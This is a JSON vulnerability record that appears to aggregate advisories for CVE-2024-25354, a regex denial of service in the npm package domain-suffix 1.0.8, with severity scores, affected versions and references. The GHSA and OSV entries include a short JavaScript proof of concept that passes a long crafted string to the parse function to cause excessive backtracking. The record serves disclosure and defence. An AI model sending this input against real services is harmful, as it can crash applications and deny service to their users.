{"id":"CVE-2024-25354","aliases":["EUVD-2024-0905","GHSA-cqfh-c4c5-c2hg"],"status":"published","title":"domain-suffix RegEx Denial of Service","description":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-09","score":0.00575,"percentile":0.47761,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-1333"],"published":"2024-03-27T00:00:00Z","modified":"2026-06-17T07:15:53Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"domain-suffix","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"domain-suffix","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.0.8"}]}]}],"products":[{"vendor":"npmjs","product":"domain-suffix"}],"references":[{"url":"https://gist.github.com/6en6ar/c3b11b4058b8e2bc54717408d451fb79","tags":["x_transferred","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-25354","tags":["advisory"]},{"url":"https://github.com/ikrong/domain-suffix/blob/master/src/domainSuffix.ts","tags":["web"]},{"url":"https://github.com/advisories/GHSA-cqfh-c4c5-c2hg"},{"url":"https://github.com/ikrong/domain-suffix","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-25354","description":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.","status":"published","published":"2024-03-27T00:00:00Z","modified":"2025-03-14T18:12:35.32Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"adp"}],"updated_at":"2026-11-02T14:34:04.341725Z"}],"euvd":[{"id":"EUVD-2024-0905","description":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.","status":"published","published":"2024-03-27T00:00:00Z","modified":"2025-03-14T18:12:35Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T20:53:02.719002Z"}],"ghsa":[{"id":"GHSA-cqfh-c4c5-c2hg","title":"domain-suffix RegEx Denial of Service","description":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n   const domainsuffix = require(\\\"domain-suffix\\\");\n   // Crafting a string that will cause excessive backtracking\n   const maliciousInput = \\\"a.\\\".repeat(10000) + \\\"b\\\"; // This will create a long sequence of \\\"a.\\\" followed by \\\"b\\\"\n   const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\nawait exploit();\n```","status":"published","published":"2024-03-28T00:31:40Z","modified":"2025-09-03T15:16:10Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:38:55.953734Z"}],"nvd":[{"id":"CVE-2024-25354","description":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.","status":"published","published":"2024-03-27T22:15:10.093Z","modified":"2026-06-17T07:15:53.643Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"updated_at":"2026-11-02T14:09:44.124823Z"}],"osv":[{"id":"GHSA-cqfh-c4c5-c2hg","title":"domain-suffix RegEx Denial of Service","description":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n   const domainsuffix = require(\\\"domain-suffix\\\");\n   // Crafting a string that will cause excessive backtracking\n   const maliciousInput = \\\"a.\\\".repeat(10000) + \\\"b\\\"; // This will create a long sequence of \\\"a.\\\" followed by \\\"b\\\"\n   const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\nawait exploit();\n```","status":"published","published":"2024-03-28T00:31:40Z","modified":"2025-09-03T15:16:09Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:45.28161Z"}]}}
